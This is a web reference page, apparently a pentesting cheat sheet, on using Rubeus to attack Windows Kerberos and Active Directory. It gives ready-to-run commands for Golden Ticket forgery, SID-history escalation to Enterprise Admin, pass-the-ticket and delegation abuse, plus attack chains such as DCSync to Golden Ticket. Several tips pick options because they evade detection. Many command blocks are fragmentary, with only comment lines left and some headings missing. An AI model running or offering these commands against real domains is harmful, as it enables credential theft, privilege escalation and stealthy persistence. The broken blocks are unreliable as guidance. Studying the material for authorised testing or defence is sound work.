15 min readCreated Sep 11, 2026Last updated Sep 11, 2026
Rubeus is a C# tool for raw Kerberos interaction and abuse on Windows. It handles ticket requests, extraction, forgery, roasting, constrained delegation abuse, pass-the-ticket, and credential harvesting, all from a single binary. Unlike impacket (which runs from Linux over the network), Rubeus operates from a compromised Windows host or an attacker Windows VM and talks directly to the KDC.
Getting Rubeus
Rubeus ships pre-compiled on Kali at /usr/share/rubeus/Rubeus.exe. Transfer it to the target or load it reflectively. To compile the latest version from source, clone the repo and build with Visual Studio or dotnet.
$USER / $PASSWORD - current foothold account credentials.
$NTHASH - NT hash of $USER (RC4 key).
$AES_KEY - AES-256 key of $USER.
$TARGET_IP - DC IP address. Use the DC FQDN when Kerberos name resolution matters.
$TARGET_USER - sAMAccountName of the target account.
$TARGET_SPN - service principal name, e.g. cifs/dc01.corp.local.
$LHOST - attacker IP for file transfers.
Ticket Triage, Listing and Extraction
triage gives a quick summary of all accessible tickets in the current logon session (or all sessions when elevated). klist shows full ticket details. dump extracts the raw ticket as base64 for reuse with /ticket: in other commands. tgtdeleg retrieves a usable TGT for the current user without elevation, using the Kerberos GSS-API delegation trick.
triage / klist / dump
PSC:\Users\Guest\Desktop># Quick overview of all tickets in accessible sessions
PSC:\Users\Guest\Desktop>.\Rubeus.exe triage
PSC:\Users\Guest\Desktop># Detailed ticket info
PSC:\Users\Guest\Desktop>.\Rubeus.exe klist
PSC:\Users\Guest\Desktop># Dump tickets as base64 (use /nowrap for clean copy-paste)
Works without admin rights. The trick abuses AP-REQ/GSS-API to extract a forwardable TGT. The /target SPN must be valid but does not need to be the service you are attacking.
Requesting Tickets
asktgt requests a TGT from the KDC. asktgs requests a service ticket using an existing TGT. /ptt injects the ticket into the current session immediately. /getcredentials (on asktgt with a certificate) performs a U2U request to recover the account's NT hash.
asktgt
PSC:\Users\Guest\Desktop># Request TGT with password and inject
Request service tickets for accounts with SPNs and crack them offline. /stats surveys the environment first without requesting tickets. /rc4opsec targets only accounts using RC4 encryption (more likely to have weak passwords). /aes requests AES-encrypted tickets (hashcat mode 19700).
kerberoast
PSC:\Users\Guest\Desktop># Survey: list Kerberoastable accounts and encryption types
Request encrypted AS-REP blobs for accounts that do not require Kerberos pre-authentication. No credentials needed for the roast itself, only a list of target usernames.
asreproast
PSC:\Users\Guest\Desktop># Roast all accounts with DONT_REQ_PREAUTH (LDAP lookup, needs domain creds)
s4u performs S4U2Self and S4U2Proxy to impersonate a user to a service. Works for both traditional constrained delegation (msDS-AllowedToDelegateTo) and resource-based constrained delegation (RBCD). For RBCD, add /self to perform only S4U2Self, then use the resulting ticket for S4U2Proxy. /altservice substitutes the service name in the final ticket (same host, different SPN).
s4u (constrained delegation)
PSC:\Users\Guest\Desktop># Traditional constrained delegation: impersonate Administrator to target SPN
The machine account ATTACKER$ must be listed in the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Set it with bloodyAD, PowerView, or impacket-rbcd.
Ticket Forgery
Forge tickets when you have the required key material. A Golden Ticket uses the krbtgt hash and grants domain-wide access. A Silver Ticket uses a service account hash and targets a single service. A Diamond Ticket modifies the PAC of a legitimately requested TGT, making it harder to detect than a pure Golden Ticket.
golden (Golden Ticket)
PSC:\Users\Guest\Desktop># Forge a Golden Ticket with RC4 (krbtgt NTLM hash)
PSC:\Users\Guest\Desktop>.\Rubeus.exe golden /rc4:<KRBTGT_NTHASH> /user:fakeadmin /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ptt
PSC:\Users\Guest\Desktop># Forge with AES-256 (stealthier, avoids RC4 anomaly detection)
PSC:\Users\Guest\Desktop>.\Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:fakeadmin /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ptt
PSC:\Users\Guest\Desktop># With LDAP lookup for realistic PAC values
PSC:\Users\Guest\Desktop>.\Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:Administrator /id:500 /domain:$DOMAIN /sid:S-1-5-21-... /dc:$TARGET_IP /ldap /ptt
PSC:\Users\Guest\Desktop># Cross-domain with SID history (Enterprise Admin in parent domain)
PSC:\Users\Guest\Desktop>.\Rubeus.exe golden /rc4:<KRBTGT_NTHASH> /user:fakeadmin /domain:child.$DOMAIN /sid:S-1-5-21-child... /sids:S-1-5-21-parent...-519 /dc:$TARGET_IP /ptt
Explain command
/rc4
krbtgt NTLM hash (from DCSync or secretsdump).
/aes256
krbtgt AES-256 key (preferred, stealthier).
/sid
Domain SID (S-1-5-21-...).
/id
User RID in the forged PAC (500 for Administrator).
/groups
Group RIDs (512 = Domain Admins, 519 = Enterprise Admins).
/ldap
Query LDAP for correct PAC field values.
silver (Silver Ticket)
PSC:\Users\Guest\Desktop># Forge a Silver Ticket for CIFS access to a specific host
krbtgt AES-256 key used to decrypt and re-encrypt the PAC.
/ticketuser
Username to set in the modified PAC.
/ticketuserid
RID for the PAC user (500 for Administrator).
/groups
Group RIDs to inject into the PAC.
/tgtdeleg
Use the delegation trick to get the initial TGT (no creds needed).
Diamond Tickets are harder to detect than Golden Tickets because the TGT is legitimately issued by the KDC. Only the PAC is modified after the fact. The ticket's metadata (timestamps, encryption) matches a real request.
Pass-the-Ticket
ptt imports a ticket (base64 or .kirbi file) into the current or a specified logon session. createnetonly spawns a new hidden process with a separate logon session, useful for applying tickets without overwriting your current session's tickets. purge clears all tickets from a session.
ptt / createnetonly / purge
PSC:\Users\Guest\Desktop># Import a base64 ticket into the current session
PSC:\Users\Guest\Desktop>.\Rubeus.exe ptt /ticket:<base64_ticket>
PSC:\Users\Guest\Desktop># Import a .kirbi file
PSC:\Users\Guest\Desktop>.\Rubeus.exe ptt /ticket:ticket.kirbi
PSC:\Users\Guest\Desktop># Import into a specific logon session (requires elevation)
PSC:\Users\Guest\Desktop>.\Rubeus.exe ptt /ticket:<base64_ticket> /luid:0x462eb
PSC:\Users\Guest\Desktop># Spawn a new process with its own logon session, inject the ticket there
monitor watches for new TGTs appearing across logon sessions at a set interval. harvest does the same but also auto-renews tickets and displays them periodically. Both require elevation. Useful on a compromised server or DC to capture TGTs of users authenticating to it (e.g. via unconstrained delegation).
monitor / harvest
PSC:\Users\Guest\Desktop># Monitor for new TGTs every 60 seconds
File containing usernames to spray (one per line).
/noticket
Do not request TGTs for successful auths (spray only).
Pre-Authentication Scanning
preauthscan enumerates accounts that do not require Kerberos pre-authentication, without actually requesting the AS-REP blob. Use it before asreproast to identify targets.
Smaller subcommands for ticket manipulation, password changes, and key derivation.
hash (derive Kerberos keys from password)
Calculate RC4, AES-128, AES-256, and DES keys from a plaintext password. Useful when you have a password and need the hash for asktgt /rc4: or /aes256:.
Substitute the service name in an existing service ticket. Useful when you have a ticket for one SPN on a host and need access to a different service on the same host (e.g. swap time/dc01 for cifs/dc01).
tgssub
PSC:\Users\Guest\Desktop># Rewrite the SPN in the ticket from time/ to cifs/
Change or set a target user's password using a TGT via the Kerberos set-password protocol (RFC 3244). Requires a TGT for the target user or an account with the right to reset their password.
changepw
PSC:\Users\Guest\Desktop># Change password using a TGT for the target user
Rubeus is rarely used in isolation. These are the most common chains where Rubeus plays a role.
Kerberoast to credential access: kerberoast /stats to survey, kerberoast /rc4opsec to extract, hashcat to crack, then asktgt with the cracked password.
RBCD abuse: create a computer account (bloodyAD/PowerView), set msDS-AllowedToActOnBehalfOfOtherIdentity, then s4u to impersonate Administrator to the target.
Shadow Credentials to TGT: write msDS-KeyCredentialLink (bloodyAD/Whisker), authenticate with PKINIT via asktgt /certificate:, recover NT hash with /getcredentials.
DCSync to Golden Ticket: dump the krbtgt hash with secretsdump, then golden /aes256:<krbtgt_aes> for persistent domain access.
Diamond Ticket (stealth persistence): with the krbtgt AES key, diamond /tgtdeleg /krbkey:<key> /ticketuser:Administrator creates a ticket that looks legitimate to most detections.
Unconstrained delegation harvest: compromise a server with unconstrained delegation, run monitor to capture TGTs of authenticating users, then ptt to use them.
Original SpecterOps post covering Rubeus features and Kerberos abuse techniques.
Share article
Was this helpful?
Your feedback helps improve this page.
Sorry about that
What was not helpful?
We use cookies to enhance your experience
We use cookies to improve your browsing experience, analyze site traffic, and personalize content. By clicking "Accept All", you consent to our use of cookies.
Privacy Policy.